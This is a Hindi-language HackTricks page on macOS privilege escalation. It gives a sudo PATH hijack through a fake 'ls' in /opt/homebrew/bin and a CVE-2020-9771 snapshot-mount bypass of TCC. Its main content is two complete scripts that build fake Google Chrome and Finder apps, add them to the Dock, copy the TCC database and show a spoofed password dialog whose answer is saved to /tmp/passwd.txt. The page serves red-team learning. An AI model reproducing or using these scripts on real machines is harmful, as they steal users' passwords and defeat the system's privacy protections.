macOS Privilege Escalation

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

TCC विशेषाधिकार उन्नयन

यदि आप TCC विशेषाधिकार उन्नयन के लिए यहाँ आए हैं तो जाएं:

pagemacOS TCC

Linux Privesc

कृपया ध्यान दें कि अधिकांश ट्रिक्स जो लिनक्स/यूनिक्स पर विशेषाधिकार उन्नयन प्रभावित करती हैं, वे भी मैकओएस मशीनों पर प्रभावित होंगी। इसलिए देखें:

pageLinux Privilege Escalation

उपयोगकर्ता इंटरेक्शन

सुडो हाइजैकिंग

आप लिनक्स विशेषाधिकार उन्नयन पोस्ट के अंदर मौजूद सुडो हाइजैकिंग तकनीक को ओरिजिनल रूप में पा सकते हैं।

हालांकि, macOS सुडो चलाते समय उपयोगकर्ता का PATH बनाए रखता है। इसका मतलब है कि इस हमले को प्राप्त करने का एक और तरीका हो सकता है, जो है:

# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
chmod +x /opt/homebrew/bin/ls

# victim
sudo ls

ध्यान दें कि एक उपयोगकर्ता जो टर्मिनल का उपयोग करता है उसमें अधिक संभावना से Homebrew स्थापित होगा। इसलिए /opt/homebrew/bin में बाइनरी को हाइजैक करना संभव है।

डॉक अनुरूपण

कुछ सामाजिक इंजीनियरिंग का उपयोग करके आप डॉक के अंदर Google Chrome का अनुकरण कर सकते हैं और वास्तव में अपने स्क्रिप्ट को चला सकते हैं:

कुछ सुझाव:

  • डॉक में जांचें कि क्या एक Chrome है, और उस मामले में उस प्रविष्टि को हटाएं और डॉक अर्रेय में नकली Chrome प्रविष्टि जोड़ें।

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

कुछ सुझाव:

  • आप डॉक से फाइंडर को हटा नहीं सकते, इसलिए अगर आप इसे डॉक में जोड़ने जा रहे हैं, तो आप फर्जी फाइंडर को वास्तविक फाइंडर के साथ सीधे रख सकते हैं। इसके लिए आपको डॉक एरे की शुरुआत में फर्जी फाइंडर एंट्री जोड़नी होगी

  • एक और विकल्प है कि इसे डॉक में न रखें और सीधे खोलें, "फाइंडर फाइंडर को नियंत्रित करने के लिए पूछ रहा है" इतना अजीब नहीं है।

  • बिना पासवर्ड पूछे रूट तक उन्नति करने के लिए एक भयानक बॉक्स के साथ, फाइंडर से वास्तव में पासवर्ड पूछने के लिए एक विशेष कार्रवाई करने के लिए:

  • फाइंडर से /etc/pam.d में एक नया sudo फ़ाइल कॉपी करने के लिए कहें (पासवर्ड के लिए पूछने वाला प्रॉम्प्ट इसका संकेत करेगा कि "फाइंडर कॉपी करना चाहता है")

  • फाइंडर से एक नया अधिकारीकरण प्लगइन कॉपी करने के लिए कहें (आप फ़ाइल नाम को नियंत्रित कर सकते हैं ताकि पासवर्ड के लिए पूछने वाला प्रॉम्प्ट इसका संकेत करेगा कि "फाइंडर फाइंडर.bundle कॉपी करना चाहता है")

#!/bin/sh

# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';

rm -rf /tmp/Finder.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Finder.app/Contents/MacOS
mkdir -p /tmp/Finder.app/Contents/Resources

# Payload to execute
cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c

chmod +x /tmp/Finder.app/Contents/MacOS/Finder

# Info.plist
cat << EOF > /tmp/Finder.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Finder
cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

TCC - रूट प्रिविलेज एस्केलेशन

CVE-2020-9771 - mount_apfs TCC बायपास और प्रिविलेज एस्केलेशन

कोई भी उपयोगकर्ता (यहाँ तक कि अन-प्रिविलेज्ड भी) एक टाइम मशीन स्नैपशॉट बना सकता है और माउंट कर सकता है और उस स्नैपशॉट के सभी फ़ाइलों तक पहुँच सकता है। एप्लिकेशन को (जैसे Terminal) को फुल डिस्क एक्सेस (FDA) एक्सेस के लिए केवल प्रिविलेज्ड की आवश्यकता है (kTCCServiceSystemPolicyAllfiles) जो एडमिन द्वारा प्रदान की जानी चाहिए।

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

एक और विस्तृत व्याख्या मूल रिपोर्ट में पाई जा सकती है.

संवेदनशील जानकारी

यह विशेष जानकारी वर्चस्व उन्नति के लिए उपयोगी हो सकती है:

pagemacOS Sensitive Locations & Interesting Daemons
जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated